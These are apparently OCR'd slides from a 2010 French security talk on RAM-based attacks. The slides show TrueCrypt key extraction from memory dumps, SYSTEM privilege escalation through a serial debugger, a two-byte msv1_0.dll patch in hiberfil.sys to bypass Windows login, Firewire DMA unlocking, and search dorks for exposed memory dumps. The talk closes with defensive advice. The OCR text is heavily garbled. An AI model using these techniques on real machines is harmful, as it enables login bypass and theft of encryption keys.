Déchiffrement de I’entéte

‘ Clef de
{dé)chiffrement Données chiffrées

des données

GROUP
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA
CAS PRATIQUE
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ATTAQUE : CONCEPTION D’'UN VOLUME TRUECRYPT MIXTE

Modification du
code source
TrueCrypt

Données chiffrées

/" iotedm
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA
CAS PRATIQUE

11/28/2010

NTTAQUE : DECHIFFREMENT DU VOLUME CIBLE MIXTE

Mot de passe
utilisateur

connu maitrisée

Déchiffrement de I’entéte

Clef de
(dé)chiffrement Données chiffrées

des données

Déchiffrement des données

GROUP

DE0feam
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA

CAS PRATIQUE

NATTAQUE REELLE : « PASSWARE KIT »

EHPasswarE Password Recovery Kit Forensic

File Wew Tools Help

=101 %]

11/28/2010

Q Bach: Fotwatd @ Stark Page

Quick Start

Recover file pazeword...

Search for protected files. .

Hecover internet and nebwark,
DAEEWOrds. .

Create Windows passward rezet
digk...

Recover Hard Disk Pazswords. ..

'*I‘t‘;:?' Recover - & Search | % Support @' Help

. Recover File Password [Ctrl+0]

Pizk a protected file to start password recoven.

K Rezet Windows Administrator Password [Cirl+'w]
1 Create a boatable CD-ROM that instantly resets Windows Administrator password.

Recover Internet and Network Passwords [Chrl+1]
Recover pazswords for websites, network, connections, and email accounts.

Recover Hard Dizk Passwords [Chrl+D)
Recover encryption keys ar pazswaords bo unlock BitLocker and TrueCrypt drives.

/" iotedm
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA
CAS PRATIQUE

11/28/2010

NATTAQUE REELLE : « PASSWARE KIT »

EEPassware Password Recovery Kit Forensic = |EI|£|

File Wiew Tools Help
%SUppnrt @ Help

@ Biack, -,'f-E > Fariward @ Skark Page
[=] Hard Disk Encryption

3

Details

] ; v BitLocker (Ctil+B)
Passware Kit scans a memary image h Recover encyption keys to unlock, a BitLocker volume.
of a computer with a BitLocker or

TrueCropt encropted valume and
extracts all the encryption keys,

TrueCrppt [Ctil+T]
SE'ECt al:til:lrl l:rl:lm thE ||St -‘ Decrypt a Truetrypt l.l,lulume_

[—] Additional Tools

Pazzware FireWwire Memory Imager

- =
Acquire a memony image of a computer with a mounted BitLocker or TrueCmpt

wolume.

/" iotedm
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA
CAS PRATIQUE

11/28/2010
NATTAQUE REELLE : « PASSWARE KIT »
Decrypting a TrueCrypt Yolume

FTK Imager F‘a_ssware kit Forensic +10.1

Build 1956 Partable Encrypted TrueCrypt volume image File (raw image file, .EO0L, .0D, .IMG, JBIN):
— Ci\Documents and Settings) Administrateort Bureaul DEMC TCwol-chiffre-GS0ays.ke
wol-chiffre-G5Days durmnp-ram-&E50aws. raw
TrueCrypt Yolums Fichier RawW 1
029080 130 544 Ko

@® The TrueCrypt wolume is still mounted, or I have a memory image of the karget computer acquired while
it was mounted, Instant decryption attack will be assigned.

Phrysical memory image file (raw image file, DD, IMG, JBIN):

J\Documents and Settings)AdministrateurBureaut DEMO T dump-ram-GShaws  raw

il Acquire armemory image 2
Evidence Tree b8 File List -
= [ vol-chiffie G5Days.tc] Mame Size | Type Date Modified
-l Unrecognizes [unknown type] unallocated space 10240KE  Unallocated space Destination file:

Documents and Settingsadministrateur\Bureal\DEMO T wal-dechiffre-GSDays, dd|
00o0o00d | 1c 38 01 Ae b2 24 d2 Zb-8c ae c7 a3 96 38 Sa 02 -8'n’$ﬂ+-®§£-82-

000010 5 33 72 d9 83 19 ee 44-52 ea 62 96 f£4 14 fe T8 _Srﬁ--ir{Réh-ﬁ-pv 3
00o00Z0 |65 49 17 2Z2b aa Sa ce 97-a3 37 37 71 6b d9 60 ca EI'+‘ZT'£??C{}(T:T‘E

000030 |87 9c o8 0b 81 96 27 78-60 6e Ga hZ 93 cf al 18- E.-- 'x‘nj’-Ei-
00004088 25 32 b7 fd 91 36 13-62 06 b df 7c be 3¢ 31/-%2-3-6-b- 5%l The TrueCrypt wolume is dismounted, and I don't have a memory image of the target computer
0ooosa (bs 29 1f 74 fa al 67 c£-69 12 9f bl 5a 03 34 e9% p)-tojgli--+2-4e {:} . d hl i k d Brut 'F ke k " |:I . d

000060 |87 ab B0 56 46 53 be S4-fe 54 20 B9 be b5 £9 40 | -« VF5%-p- -4 Acquired WRle 1T Was rmounted, Brute-rarce StEack will e J55igned,

000070 (94 65 95 79 72 ec Tc 4£-£7 £b 72 14 4a df bd 76 |- e-yri|0sir- Il
aa |EE{RY- B Hys- 0%
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA
CAS PRATIQUE

11/28/2010

NATTAQUE REELLE : « PASSWARE KIT »

Aktack Progress

I Attack: TrueCrypt Memory Analysis attack

Estimated completion kime: calculaking. ..

[---- ]
[ Skip Aktack, ] [ Pause ] [ Stop ]
Order State Aktack, Password(s) Found
TrueCrypt Memoryén ||
2

pending

TrueCrwpt Decryplion ...

Aktack Progress

|.|5.I:I:a|:k: TrueCrypt Decryption attack

Estimated completion time: calculating. ..

(NN AN AN AR AN NN RN RN

)

[ Skip Aktack, ] [ Pause ] [ Skop ]

Order Skate Atkack:
succeeded

z2 running

Password{s) Found

TrueCrypt Memory An...
TrueCrypt Decryplion ...

/" iotedm
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IDENTIFICATION D’INFORMATIONS CONTENUES DANS LA RA
CAS PRATIQUE

Evidence Tree
= volchiffre-GS0ays to

=&y vol-dechitre-G50aps.dd |
= T_'_IE HOMAME [FAT1E]

11/28/2010

NATTAQUE REELLE : « PASSWARE KIT »

Yolume imaage file: vol-chiffre-G30ays. ko

Folder: C:\Documents and Settingstadministrateor Bureau DEMO TO),
Physical memory image file: dump-ram-G30ays. raw

Folder: C:\Documents and Settingsiadministrateor Bureau DEMO TO),
Protection: TrueCrypt Yalume - Open Password, TrueCrypt AES Encryption
Complexity: Instant Unprotection

Ed

Recovery Progress

Passwiords Found;
0 passwords

Total time elapsed:

1 min. & sec.

|Unprutected file: vol-dechiffre-G50ays. dd |

Estimated completion kme:
[completed]

.
| Mame Size Type Date Modified
1# Unrecogrized file system [unknown type] %] mdp bt bt OKE Regular file 14/10/2010 201, .

EI Mouwveau Docurnent bex, ..

= Egﬂﬂl . P salaires-des-emplovés. k... Mame Size | Type Diake Madified
ozsiers confidentiels Py TP ————
|@ Moyveay dossier ﬁ mots-de-passe. bk, kxk 1 KB Regular file 14/10/2010 205..,
I clientd
) Mouveau dossier
I client? .
#0) Mouveau dossier Exemple de donhées
I client3
F-17 Sustem Yalume Infarmatinn bs DUPCHD 32 000 Euros
Zuskom Conkent Sources x DURAND 34 000 Euros totobtog£92 %
Evidence:File Svystem|Path|File Options HICHEL 200 000 Euros PassWOrS5a
GsDAw5201[

/" iotedm
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5. MANIPULATION DE LA MEMOIRE RAMW
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MANIPULATION DE LA MEMOIRE RAM

11/28/2010

ELEVATION DES PRIVILEGES SYSTENME VIA UN ACCES AU PORT SERIE

O PRINCIPE DE UATTAQUE : Via le mode DEBUG et Windbg, modification les droits de la console DOS en se
basant sur un des processus lancés avec les droits SYSTEM (Nicolas Ruff)
0O INCONVENIENTS : Nécessite un accés en tant qu'utilisateur sur le systeme de la victime

E1 Gestionnaire des taches de Windows

Eichier ©Options  Affichage ¢

Applications | Processus | Performances | Mise en réseau

Mom de image Mom de lutilisatear | P... | UL mé, ..
- accelerometersT....  test oo 6032 Ka
alg.exe SERMICE LOiCAL a0 & 356 Ko
M : avgnt. exe test oo 2452 Ko

avguard, exe SYSTEM oo 15192 Ko
EYXE 5 450 Ko
4 576 ko

LIAISON PAR CABLE SERIE

e+ C:AWINDOWSA\system32%cmd.exe

Microsoft Windows AP [version 5.1.26801]
CC» Copyright 1985-2001 Microsoft Corp.

C:~Iocuments gnd Settingsstestinet user toto "totototo&51" ~add
L'erreur systéme 5 s'est produite.

fAcces refusé.

DROITS DE L'UTILISATEUR INSUFFISANTS ... &

/" iotedm
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K MANIPULATION DE LA MEMOIRE RAM

11/28/2010

ELEVATION DES PRIVILEGES SYSTENME VIA UN ACCES AU PORT SERIE

1 kdr lprocess 0 0

1 exxx NT 2 PROCESS DUMP %%
"ROCESS [Babf07cl] Sessionld: nons Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: UacbD0020 OCbjectTable: el002edf8 HandleCount: 399.

Imnage: Systen

fd= & 08 7débPc8+0x0c8 L LINEY

Kd=g

PROCESS |89d6b9c8 | Sessionld: 0 Cid: 0ad0 Peb: 7ffdd000 ParentCid: 096c
2 DirBase: Uacl0tal0 ObjectTable: =2clf008 HandleCount: 31

Inage: cmnd. exe . Gestionnaire des taches de Windows

Fichier Options Affichage ?

0: kd: lprocess 8abf07c0 5
PROCESS 8a5f07z0 Sessionld: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBa=e: Oac00020 ObjectTable: =l100Z2edf HandleCount: 399.
Imnage: Sv=temn

Applications Processus | Performances I Mise en réseau I

3 VadRoot 22615078 Vads 4 Clone 0 Private 3. Modified 6320, Locked 0. - — — .
DeviceMap =1001138 Mom de image | ram de Iutiisateur | pr... | uti, mém... |
Token cidasmaon, exe SYSTEM 0o 308 Ko
ElapzedTimne U1 18,175 3 355 Ko
T=erTine oo:o0:00.000 i o e 1T
KernelTine no:00:19.500

cv C:A\WINDOWS\system32\cmd.exe

C:\Documents and Settings\testonet user toto '"totototolS1i" sadd
La commande s’est terminée correctement.

C:\Documents and Settings\testOnet localgroup Administrateurs toto Zadd
La commande s’est terminée correctement.
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DETOURNEMENT DU PROCESSUS D’AUTHENTIFICATION WINDOWS
0 DEPUIS UNE MACHINE HIBERNEE

O PRINCIPE DE LUATTAQUE : Modifier la librairie (DLL) d’authentification Windows (msv1_0.dll) incluse dans le

fichier d’hibernation « hiberfil.sys » afin de pouvoir ouvrir une session sans connaissance du mot de passe Windows
(projet Sandman, Matthieu Suiche)

O TECHNIQUENMENT : Modification de deux octets uniquement (non compresseés) : 7511 => 90 90
Signature incluant les octets a modifier : F8 10 75 11 B0 01

00008DBO FF1SCC10C477 CALLN [0x77C410CC) 386
D0008DES 310 -
Si les valeurs comparées

soNnt ¢gales
00008DB8 8001 (MoiNQe ;:::c.‘sf; carrect)
00008DBD 88<SDFC MOV ecx, [ebp-0x04] 336
00008DCO SF POP g 3856
DO008DC 1 SE POP esi 336 Sinon
D0008DC2 S8 POP ebx 3386 (mot d¢ passe incorrect)
0O0008DC3 ESCDSOFFFF CALL [Ox00000E95] 8086
00008DCS8 c9o LEAVE 186
00008DCS C21C00 RET O0x001C 8086
00008DCC 32C0 XOR 3, al 8086
00008DBG 83F310 CMP eax,0x 10 386

000038DE9
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K MANIPULATION DE LA MEMOIRE RAM

11/28/2010

DETOURNEMENT DU PROCESSUS D’AUTHENTIFICATION WINDOWS
0 DEPUIS UNE MACHINE HIBERNEE (SUITE)

= ) . rool@LIN-SUDOMAN:/home /sudoman# mount -1 nifs-3g /dev/sdal /media/cdrom
SCENARIO DATTAQUE CLASSIQUE e
. . , Lo The file system wasn't safely closed on Windows. Fixing.
O Boot de la machine hibernée sur un média externe rool@LIN-SUDOMAN:/home/sudomant cd Bureau/
P e A rool@LIN-SUDOMAN:/home /sudoman/Bureau# ./hiber-patch.py /media/cdrom/hiberfil.sys

Q Montgge en ecnturelde la partition sy§teme | | [ et
O Identification de la signature dans le fichier d’hibernation Signature found @ 0x2798b381L
O Mise en place du patch au niveau de la DLL d’authentification et f
O Redémarrage de la machine depuis le fichier d’hibernation modifié Applying Paich @ 0x2798b38L

‘ ‘ Looking for 8109090b001 ...
O Acces au systeme sans mot de passe Signature found @ 0x2798b38L

83c33453081230d00183[[f81( 2090 >001]]8b4dici805e801 821

A Preuve de concept
INTERET DE UATTAQUE :

Avec un accés physique , pourquoi ne pas modifier directement la dll stockée sur le disque dur ?
> ['altération de la dll du disque dur d’authentification ou tout autre fichier du systeme stocké sur le disque dur ne permettra pas de
contourner l'authentification d’'une machine hibernée, sauf en supprimant le fichier d’hibernation ... pas tres discret ...

L'attaque mise en ceuvre permet donc de garantir :
L Une discrétion de la compromission d’une machine hibernée
U Une difficulté de tracabilité de la compromission

/" iotedm
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K MANIPULATION DE LA MEMOIRE RAM

11/28/2010

DETOURNEMENT DU PROCESSUS D’AUTHENTIFICATION WINDOWS
0 DEPUIS UNE MACHINE POSSEDANT UN ACCES DN

0 UN DES PRINCIPES DE UATTAQUE : Modifier la DLL d’authentification Windows (msv1_0.dll) chargée en
mémoire RAM via un acces DMA (Firewire/PCMCIA)

Adam Boileau a mis en oeuvre ces attaques via une suite doutils disponibles sur Internet

LIAISON PAR CABLE FIREWIRE

/" iotedm
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DETOURNEMENT DU PROCESSUS D’AUTHENTIFICATION WINDOWS
0 DEPUIS UNE MACHINE POSSEDANT UN ACCES DMA (SUITE)

Sod MRODFACABIESF s od (Jerad) ou un administr atewr cout
oorroulier Fordnatew

dsates | sros

Wt depesw: |

CHOIX D& LA CIBLE
CHOIX D& LA GINA

LIAISON PAR CABLE FIREWIRE
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K MANIPULATION DE LA MEMOIRE RAM
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DETOURNEMENT DU PROCESSUS D’AUTHENTIFICATION WINDOWS
0 DEPUIS UNE MACHINE POSSEDANT UN ACCES DMA (SUITE)

Déverroullage de lMordinatour

1 " &

;
SESSE RS djj

e
Lo N

ot ordestour ant otind of 4 04 verroulle

=

Sod NMROD-FACABICEF v od (Jarad) 0w un adminstratewr cout
éroonrouler Fordnatewr

NCCES AU SYSTEN\E !!

Ne nécessite pas que le systéme soit démarré au préalable ... / I][”[]tﬁﬂiﬁ
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K MANIPULATION DE LA MEMOIRE RAM

11/28/2010

NUTRES METHODES ... :

O Compromission physique par le bus PCI (C. Devine; G. Vissian)

O Présentation au SSTIC 2009
O Consiste a utiliser une carte de type PCI/PCMCIA autonome (contréleur DMA intégré via un circuit
programmable FPGA) afin d’accéder a la RAM

O Attaque Firewire (winlockpwn) ré-implémentée

O Exploitation de 'ACPI et de la routine de traitement de la SMI (L. Duflot; O. Levillain)

O Présentation au SSTIC 2009
0 Consiste a accéder et manipuler la mémoire RAM lors de la modification de I'état de I'alimentation
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q. DR ---.r.m-'-..-

6. ETS0US LINUX... ‘
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€T SOUS LINUX ...
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EXTRACTION ET MANIPULATION DE LA MEMOIRE RAM

1 Copie de « /proc/kcore » (priviléges root requis)

1 Extraction physique : Attaque « Coldboot »

1 Contournement de l'authentification via I'attaque Firewire (pwning getty)

Uniquement sur les anciens drivers (ex: module kernel ohci1394) et sur les nouvelles piles Firewire (ex: module Kernel
firewire_ohci)

EXENMPLE DE DONNEES STOCKEES EN CLAIR
] Mot de passe ROOT
1 Mot de passe TRUECRYPT

1 Mot de passe DM-CRYPT/LUKS

/" iotedm

57 CONNECTING BUSINESS & TECHNOLOGY




€T SOUS LINUX ...
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7. CONCLUSION
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CONCLUSION

11/28/2010

Les 10 COMMANDEMENTS pour rapidement limiter [altération d'un systéme et la fuite
d’informations par le biais de la mémoire RAM

Protéger 'acces physique a la machine (baies fermées, vis antivols, cadenas, ...)

Protéger 'acces au bios par mot de passe et aux parametres de démarrage (USB, CDROM et PXE)
Chiffrer la totalité de votre disque dur et protéger le par mot passe

Désactiver les acces directs a la mémoire (port Firewire, PCMCIA et Express Card)

Désactiver les ports séries de type RS232

Désactiver la mise en veille prolongée

Minimiser ou désactiver la génération du fichier de Crashdump / Supprimer les fichiers résiduels

Sécuriser logiciellement votre machine (mise a jour systeme/antivirale, filtrage des flux et des ports USB,
utilisation d’'un compte a faible privilege, ...)

Changer régulierement vos mots de passe (Bios, solution de chiffrement, Windows, conteneur mots de
passe, messagerie,...)

1 Verrouiller votre machine tout simplement ...

CoooOopDp0p

U

/" iotedm

59 CONNECTING BUSINESS & TECHNOLOGY




CONCLUSION

11/28/2010

D’autres solutions de sécurisation

1 Exécution des applications sensibles sur un « co-processeur » tel que :
J  Une carte a puce équipée entre autres d’'un microprocesseur, un espace de stockage sécurisé et d’'une

mémoire RAM
1 Une carte PCI équipée entre autres d’'un microprocesseur, d’'une mémoire RAM [IBM 4758]

' Insertion du service IOMMU au sein de l'architecture materielle Srocaciaur
Composant matériel permettant a un systeme d'exploitation de MMU
contréler 'accés des périphériques a la mémoire principale t RAM
1 Solution contournable ... [STTIC 2010 - Eric Lacombe, Fernand Lone Sang, Chipset —
Vincent Nicomette, Yves Deswarte] JemmmTmT '_E-""" '
‘ I/O MMU !
"’."E”.“:é“ “‘:EI“::;:;E“
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CONCLUSION

11/28/2010

D’autres solutions de sécurisation (suite)

1 Utilisation d’architecture matérielle « sécurisée » spécifiguement congue pour assurer l'intégrité et la
confidentialité des donnés stockées en mémoire RAM

1 Principe : Toutes les informations sont chiffrés et vérifiés (intégrité) a a la volée lors de leur sortie du processeur
et déchiffrées lors de leur entrée dans le processus

1 Bus de communication chiffré, clef de chiffrement stockée dans des composants difficilement accessibles ou
générée aléatoirement

Dispositif de destruction des données en cas de tentative physique
Exemples : Dallas DS5002FP, Cryptopage, Hide, Aegis, TrustNo 1, Xom, ...
Référence :

U 00

/" iotedm

61 CONNECTING BUSINESS & TECHNOLOGY



http://www.trustedsc.eu/Docs/article_cesar_08.pdf
http://www.trustedsc.eu/Docs/article_cesar_08.pdf
http://www.trustedsc.eu/Docs/article_cesar_08.pdf
http://www.trustedsc.eu/Docs/article_cesar_08.pdf
http://www.trustedsc.eu/Docs/article_cesar_08.pdf
http://www.trustedsc.eu/Docs/article_cesar_08.pdf
http://www.trustedsc.eu/Docs/article_cesar_08.pdf
http://www.trustedsc.eu/Docs/article_cesar_08.pdf
http://www.trustedsc.eu/Docs/article_cesar_08.pdf
http://www.trustedsc.eu/Docs/article_cesar_08.pdf

POUR FINIR ...
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Index of /dumps
memory.dmp intitle:index.of| Recherch  « Parent Directory
: éfésunats (0,30 secondes) ;:IC--’.T‘UZI"E .J @ 051910-15802-01.dﬂ1p
e 051910-15802-01 debugger output.txt
Index of Mim/WHOQL/WHOQL win08 x64 - [ Traduire cette page ] . Ogi%%o-iggﬁ-oi-dmp
[DIR], Parent Directory, -. [ ], MEMORY.DMP, 30-Mar-2010 01:14, 201M. [DIR], Minidump/, e 0 0- -0
30-Mar-2010 01:11, -. Apache Server at people.redhat.com Port 80. e MEMORY.DMP Index Of / ﬁles
_4 = - E[‘, .:-L:“:r\e —
Index of /dumps - [ Traduire cette page ] . Pgrent Directory .
Parent Directorv - 051910-15802-01.dmp - 051910-15802-01 debuager outout.txt » Hirens.BootCD.11.0.zip
e e Logging.phps
e Logging.pys
hiberfil.sys intitle:index.of Rechercher | e MEMORY.DMP
7710 résultats (033 secondes) = Fur erche avancee
Index of /C - [ Traduire cette page ] i e e s
hiberfil.sys, 02-Oct-2010 13:28, 2.4G. [ ]. mvstcdxx.Ist, 14-Jul-2010 11:51, 65K. [ ], « financing.html
pagefile.sys, 02-Oct-2010 13:28, 3.2G ... « heatdrainselec.html
- En cache Y .
e hiberfil.sys
Index of /c/\Website/cC - [ Traduire cette page ] ¢ hvacstaff. html
hiberfil.sys, 06-Sep-2010 12:55, 2.4G. [ ], mvstcdxx.Ist, 14-Jul-2010 11:51 ... e img019.psd
_ | "B Eache e index3.html
(4 Plus de résultats de 71.203.100

Index of /port pieces/VILLAGE INN - [ Traduire cette page ]

08-Nov-2006 08:03 2.9M [ ] hiberfil.sys 20-Nov-2006 10:19 O [ ] pagefile.sys 20-Nov-2006
10:19 O [VID] parmanini 30 nonpric..> 08-Nov-2006 10:51 5.7M [SND] ...
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QUESTIONS ?

Papier H@QckRAM :
Blog :

GROUP

Email ’ / DEUUrEﬂm
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